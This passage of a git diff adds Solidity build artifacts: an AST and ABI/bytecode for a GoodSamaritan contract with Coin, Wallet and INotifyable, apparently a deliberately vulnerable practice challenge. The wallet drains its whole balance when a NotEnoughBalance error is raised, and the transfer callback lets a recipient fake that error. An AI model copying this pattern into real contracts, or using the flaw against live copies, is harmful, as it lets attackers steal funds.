eferencedDeclaration":47982,"src":"1409:16:87","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$attached_to$_t_address_$","typeString":"function (address) view returns (bool)"}},"id":53205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1409:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53214,"nodeType":"IfStatement","src":"1405:126:87","trueBody":{"id":53213,"nodeType":"Block","src":"1429:102:87","statements":[{"expression":{"arguments":[{"id":53210,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1508:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":53207,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1494:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53206,"name":"INotifyable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53327,"src":"1482:11:87","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_INotifyable_$53327_$","typeString":"type(contract INotifyable)"}},"id":53208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_INotifyable_$53327","typeString":"contract INotifyable"}},"id":53209,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1501:6:87","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":53326,"src":"1482:25:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":53211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:34:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53212,"nodeType":"ExpressionStatement","src":"1482:34:87"}]}}]}}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"1105:8:87","parameters":{"id":53178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53175,"mutability":"mutable","name":"dest_","nameLocation":"1122:5:87","nodeType":"VariableDeclaration","scope":53224,"src":"1114:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53174,"name":"address","nodeType":"ElementaryTypeName","src":"1114:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53177,"mutability":"mutable","name":"amount_","nameLocation":"1137:7:87","nodeType":"VariableDeclaration","scope":53224,"src":"1129:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53176,"name":"uint256","nodeType":"ElementaryTypeName","src":"1129:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1113:32:87"},"returnParameters":{"id":53179,"nodeType":"ParameterList","parameters":[],"src":"1155:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Coin","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53225],"name":"Coin","nameLocation":"799:4:87","scope":53328,"usedErrors":[53159],"usedEvents":[]},{"id":53321,"nodeType":"ContractDefinition","src":"1633:868:87","nodes":[{"id":53227,"nodeType":"VariableDeclaration","src":"1695:20:87","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"1710:5:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53226,"name":"address","nodeType":"ElementaryTypeName","src":"1695:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53230,"nodeType":"VariableDeclaration","src":"1722:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"1734:4:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53229,"nodeType":"UserDefinedTypeName","pathNode":{"id":53228,"name":"Coin","nameLocations":["1722:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"1722:4:87"},"referencedDeclaration":53225,"src":"1722:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53232,"nodeType":"ErrorDefinition","src":"1745:18:87","nodes":[],"errorSelector":"5fc483c5","name":"OnlyOwner","nameLocation":"1751:9:87","parameters":{"id":53231,"nodeType":"ParameterList","parameters":[],"src":"1760:2:87"}},{"id":53234,"nodeType":"ErrorDefinition","src":"1768:25:87","nodes":[],"errorSelector":"ad3a8b9e","name":"NotEnoughBalance","nameLocation":"1774:16:87","parameters":{"id":53233,"nodeType":"ParameterList","parameters":[],"src":"1790:2:87"}},{"id":53247,"nodeType":"ModifierDefinition","src":"1799:116:87","nodes":[],"body":{"id":53246,"nodeType":"Block","src":"1820:95:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53236,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1834:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1838:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1834:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":53238,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1848:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1834:19:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53244,"nodeType":"IfStatement","src":"1830:68:87","trueBody":{"id":53243,"nodeType":"Block","src":"1855:43:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53240,"name":"OnlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53232,"src":"1876:9:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:11:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53242,"nodeType":"RevertStatement","src":"1869:18:87"}]}},{"id":53245,"nodeType":"PlaceholderStatement","src":"1907:1:87"}]},"name":"onlyOwner","nameLocation":"1808:9:87","parameters":{"id":53235,"nodeType":"ParameterList","parameters":[],"src":"1817:2:87"},"virtual":false,"visibility":"internal"},{"id":53256,"nodeType":"FunctionDefinition","src":"1921:49:87","nodes":[],"body":{"id":53255,"nodeType":"Block","src":"1935:35:87","nodes":[],"statements":[{"expression":{"id":53253,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53250,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1945:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53251,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1953:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1957:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1953:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1945:18:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53254,"nodeType":"ExpressionStatement","src":"1945:18:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53248,"nodeType":"ParameterList","parameters":[],"src":"1932:2:87"},"returnParameters":{"id":53249,"nodeType":"ParameterList","parameters":[],"src":"1935:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53286,"nodeType":"FunctionDefinition","src":"1976:273:87","nodes":[],"body":{"id":53285,"nodeType":"Block","src":"2028:221:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":53267,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2094:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2086:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53265,"name":"address","nodeType":"ElementaryTypeName","src":"2086:7:87","typeDescriptions":{}}},"id":53268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2086:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53263,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2072:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2077:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2072:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"3130","id":53270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2103:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"2072:33:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53283,"nodeType":"Block","src":"2163:80:87","statements":[{"expression":{"arguments":[{"id":53279,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53258,"src":"2222:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":53280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2229:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":53276,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2208:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2213:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2208:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2208:24:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53282,"nodeType":"ExpressionStatement","src":"2208:24:87"}]},"id":53284,"nodeType":"IfStatement","src":"2068:175:87","trueBody":{"id":53275,"nodeType":"Block","src":"2107:50:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53272,"name":"NotEnoughBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53234,"src":"2128:16:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2128:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53274,"nodeType":"RevertStatement","src":"2121:25:87"}]}}]},"functionSelector":"f836afce","implemented":true,"kind":"function","modifiers":[{"id":53261,"kind":"modifierInvocation","modifierName":{"id":53260,"name":"onlyOwner","nameLocations":["2018:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2018:9:87"},"nodeType":"ModifierInvocation","src":"2018:9:87"}],"name":"donate10","nameLocation":"1985:8:87","parameters":{"id":53259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53258,"mutability":"mutable","name":"dest_","nameLocation":"2002:5:87","nodeType":"VariableDeclaration","scope":53286,"src":"1994:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53257,"name":"address","nodeType":"ElementaryTypeName","src":"1994:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1993:15:87"},"returnParameters":{"id":53262,"nodeType":"ParameterList","parameters":[],"src":"2028:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53307,"nodeType":"FunctionDefinition","src":"2255:161:87","nodes":[],"body":{"id":53306,"nodeType":"Block","src":"2316:100:87","nodes":[],"statements":[{"expression":{"arguments":[{"id":53296,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53288,"src":"2373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":53301,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2402:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53300,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2394:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53299,"name":"address","nodeType":"ElementaryTypeName","src":"2394:7:87","typeDescriptions":{}}},"id":53302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53297,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2380:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2385:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2380:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2380:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":53293,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2359:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53295,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2364:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2359:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2359:50:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53305,"nodeType":"ExpressionStatement","src":"2359:50:87"}]},"functionSelector":"e40b8658","implemented":true,"kind":"function","modifiers":[{"id":53291,"kind":"modifierInvocation","modifierName":{"id":53290,"name":"onlyOwner","nameLocations":["2306:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2306:9:87"},"nodeType":"ModifierInvocation","src":"2306:9:87"}],"name":"transferRemainder","nameLocation":"2264:17:87","parameters":{"id":53289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53288,"mutability":"mutable","name":"dest_","nameLocation":"2290:5:87","nodeType":"VariableDeclaration","scope":53307,"src":"2282:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53287,"name":"address","nodeType":"ElementaryTypeName","src":"2282:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2281:15:87"},"returnParameters":{"id":53292,"nodeType":"ParameterList","parameters":[],"src":"2316:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53320,"nodeType":"FunctionDefinition","src":"2422:77:87","nodes":[],"body":{"id":53319,"nodeType":"Block","src":"2470:29:87","nodes":[],"statements":[{"expression":{"id":53317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53315,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2480:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53316,"name":"coin_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53310,"src":"2487:5:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"2480:12:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53318,"nodeType":"ExpressionStatement","src":"2480:12:87"}]},"functionSelector":"82e46b75","implemented":true,"kind":"function","modifiers":[{"id":53313,"kind":"modifierInvocation","modifierName":{"id":53312,"name":"onlyOwner","nameLocations":["2460:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2460:9:87"},"nodeType":"ModifierInvocation","src":"2460:9:87"}],"name":"setCoin","nameLocation":"2431:7:87","parameters":{"id":53311,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53310,"mutability":"mutable","name":"coin_","nameLocation":"2444:5:87","nodeType":"VariableDeclaration","scope":53320,"src":"2439:10:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53309,"nodeType":"UserDefinedTypeName","pathNode":{"id":53308,"name":"Coin","nameLocations":["2439:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"2439:4:87"},"referencedDeclaration":53225,"src":"2439:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"internal"}],"src":"2438:12:87"},"returnParameters":{"id":53314,"nodeType":"ParameterList","parameters":[],"src":"2470:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Wallet","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53321],"name":"Wallet","nameLocation":"1642:6:87","scope":53328,"usedErrors":[53232,53234],"usedEvents":[]},{"id":53327,"nodeType":"ContractDefinition","src":"2503:71:87","nodes":[{"id":53326,"nodeType":"FunctionDefinition","src":"2531:41:87","nodes":[],"functionSelector":"98d078b4","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"2540:6:87","parameters":{"id":53324,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53323,"mutability":"mutable","name":"amount","nameLocation":"2555:6:87","nodeType":"VariableDeclaration","scope":53326,"src":"2547:14:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53322,"name":"uint256","nodeType":"ElementaryTypeName","src":"2547:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2546:16:87"},"returnParameters":{"id":53325,"nodeType":"ParameterList","parameters":[],"src":"2571:0:87"},"scope":53327,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"INotifyable","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[53327],"name":"INotifyable","nameLocation":"2513:11:87","scope":53328,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":87} \ No newline at end of file diff --git a/contracts/out/GoodSamaritan.sol/GoodSamaritan.json b/contracts/out/GoodSamaritan.sol/GoodSamaritan.json new file mode 100644 index 000000000..c2dc0b243 --- /dev/null +++ b/contracts/out/GoodSamaritan.sol/GoodSamaritan.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"coin","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract Coin"}],"stateMutability":"view"},{"type":"function","name":"requestDonation","inputs":[],"outputs":[{"name":"enoughBalance","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"wallet","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract Wallet"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161001c906100ff565b604051809103905ff080158015610035573d5f803e3d5ffd5b505f80546001600160a01b0319166001600160a01b039290921691821790556040516100609061010c565b6001600160a01b039091168152602001604051809103905ff080158015610089573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039283169081179091555f546040516382e46b7560e01b81526004810192909252909116906382e46b75906024015f604051808303815f87803b1580156100e4575f80fd5b505af11580156100f6573d5f803e3d5ffd5b50505050610119565b61042e8061038483390190565b610356806107b283390190565b61025e806101265f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c806311df9995146100435780632514363814610073578063521eb2731461008b575b5f80fd5b600154610056906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b61009d565b604051901515815260200161006a565b5f54610056906001600160a01b031681565b5f80546040517ff836afce0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063f836afce906024015f604051808303815f87803b1580156100f8575f80fd5b505af1925050508015610109575060015b610222573d808015610136576040519150601f19603f3d011682016040523d82523d5f602084013e61013b565b606091505b50805160208083019190912060408051600481526024810190915291820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fad3a8b9e0000000000000000000000000000000000000000000000000000000017815291519091200361021e575f546040517fe40b86580000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063e40b8658906024015f604051808303815f87803b158015610201575f80fd5b505af1158015610213573d5f803e3d5ffd5b505050505f91505090565b5090565b5060019056fea2646970667358221220d5db4a23eced2c10c7be752e7449ddba9a1dbc761e6cf62f46f17779c80a89c564736f6c63430008180033608060405234801561000f575f80fd5b505f80546001600160a01b031916331790556104008061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033608060405234801561000f575f80fd5b5060405161035638038061035683398101604081905261002e9161004f565b6001600160a01b03165f908152602081905260409020620f4240905561007c565b5f6020828403121561005f575f80fd5b81516001600160a01b0381168114610075575f80fd5b9392505050565b6102cd806100895f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c803416f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033","sourceMap":"120:668:87:-:0;;;198:125;;;;;;;;;;231:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;222:6:87;:21;;-1:-1:-1;;;;;;222:21:87;-1:-1:-1;;;;;222:21:87;;;;;;;;;260:25;;;;;:::i;:::-;-1:-1:-1;;;;;178:32:155;;;160:51;;148:2;133:18;260:25:87;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;253:4:87;:32;;-1:-1:-1;;;;;;253:32:87;-1:-1:-1;;;;;253:32:87;;;;;;;;;-1:-1:-1;296:6:87;:20;;-1:-1:-1;;;296:20:87;;;;;160:51:155;;;;296:6:87;;;;:14;;133:18:155;;296:20:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;120:668;;;;;;;;;;:::o;:::-;;;;;;;;:::o;222:217:155:-;120:668:87;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b506004361061003f575f3560e01c806311df9995146100435780632514363814610073578063521eb2731461008b575b5f80fd5b600154610056906001600160a01b031681565b6040516001600